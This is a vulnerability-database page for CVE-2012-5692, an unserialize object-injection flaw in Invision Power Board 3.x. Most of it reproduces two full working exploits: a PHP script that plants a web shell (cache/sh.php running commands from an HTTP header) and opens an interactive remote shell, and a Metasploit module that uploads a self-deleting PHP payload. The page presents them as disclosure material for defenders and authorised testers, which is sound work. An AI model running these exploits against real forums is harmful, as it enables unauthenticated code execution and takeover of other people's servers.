CVE-2012-5692

critical
Published 2012-10-31 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Unspecified vulnerability in admin/sources/base/core.php in Invision Power Board (aka IPB or IP.Board) 3.1.x through 3.3.x has unknown impact and remote attack vectors.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22398 webapps php verified php ยท 5 KB
EgiX ยท 2012-11-01

Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution

php exploit Source: Exploit-DB
<?php

/*
    ----------------------------------------------------------------
    Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
    ----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: http://www.invisionpower.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
    
    4015.        static public function get($name)
    4016.        {
    4017.            // Check internal data first
    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )
    4019.            {
    4020.                return self::$_cookiesSet[ $name ];
    4021.            }
    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
    4023.            {
    4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
    4025.    
    4026.                if ( substr( $_value, 0, 2 ) == 'a:' )
    4027.                {
    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );
    4029.                }
    
    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts
    with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a
    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code
    via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug
    info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this
    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

    [-] Disclosure timeline:
    
    [21/10/2012] - Vulnerability discovered
    [23/10/2012] - Vendor notified
    [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
    [25/10/2012] - CVE number requested
    [29/10/2012] - Assigned CVE-2012-5692
    [31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /ipb/\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet  = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
    
$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?  $m[1] : '';

class db_driver_mysql
{
    public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet  = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
    print "\nipb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
EDB-22547 webapps php
webDEViL ยท 2012-11-07

Invision Power Board (IP.Board) 3.3.4 - Unserialize Regex Bypass

Source code queued for fetch โ€” refresh in a moment.
EDB-22686 remote php verified ruby ยท 5 KB
Metasploit ยท 2012-11-13

Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
			'Description'    => %q{
					This module exploits a php unserialize() vulnerability in Invision IP.Board
				<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
				code under the context of the webserver user.

				The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
				which is called with user controlled data from the cookie. The exploit abuses the
				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
				the Invision IP.Board web directory.

				The exploit has been tested successfully on Invision IP.Board 3.3.4.
			},
			'Author'	=>
				[
					'EgiX',         # Vulnerability discovery and PoC
					'juan vazquez', # Metasploit module
					'sinn3r'        # PhpEXE tekniq & check() method
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-5692' ],
					[ 'OSVDB', '86702' ],
					[ 'BID', '56288' ],
					[ 'EDB', '22398' ],
					[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Space'       => 8000, #Apache's limit for GET
					'DisableNops' => true
				},
			'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 25 2012'
			))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
			], self.class)
	end

	def base
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'
		return base
	end

	def check
		res = send_request_raw({'uri'=>"#{base}index.php"})
		return Exploit::CheckCode::Unknown if not res

		version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
		version = version.map {|e| e.to_i}

		# We only want major version 3
		# This version checking is based on OSVDB's info
		return Exploit::CheckCode::Safe if version[0] != 3

		case version[1]
		when 1
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		when 2
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
		when 3
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		end

		return Exploit::CheckCode::Safe
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			begin
				print_warning("#{@peer} - Deleting #{@upload_php}")
				client.fs.file.rm(@upload_php)
				print_good("#{@peer} - #{@upload_php} removed to stay ninja")
			rescue
				print_error("#{@peer} - Unable to remove #{f}")
			end
		end
	end

	def exploit
		@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
		@peer = "#{rhost}:#{rport}"

		# get_write_exec_payload uses a function, which limits our ability to support
		# Linux payloads, because that requires a space:
		#   function my_cmd
		# becomes:
		#   functionmy_cmd #Causes parsing error
		# We'll have to address that in the mixin, and then come back to this module
		# again later.
		php_payload = get_write_exec_payload(:unlink_self=>true)
		php_payload = php_payload.gsub(/^\<\?php/, '<?')
		php_payload = php_payload.gsub(/ /,'')

		db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

		print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

		res = send_request_cgi(
		{
			'uri' => "#{base}index.php?#{php_payload}",
			'method' => 'GET',
			'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
		})

		if not res or res.code != 200
			print_error("#{@peer} - Exploit failed: #{res.code}")
			return
		end

		print_status("#{@peer} - Executing the payload #{@upload_php}")

		res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

		if res
			print_error("#{@peer} - Payload execution failed: #{res.code}")
			return
		end

	end
end

Metasploit modules

Invision IP.Board unserialize() PHP Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
invisioncommunityinvision_power_board3.1.2
invisioncommunityinvision_power_board3.3.0
invisionpowerinvision_power_board3.1.0
invisionpowerinvision_power_board3.1.1
invisionpowerinvision_power_board3.1.3
invisionpowerinvision_power_board3.1.4
invisionpowerinvision_power_board3.2.0
invisionpowerinvision_power_board3.2.1
invisionpowerinvision_power_board3.2.2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.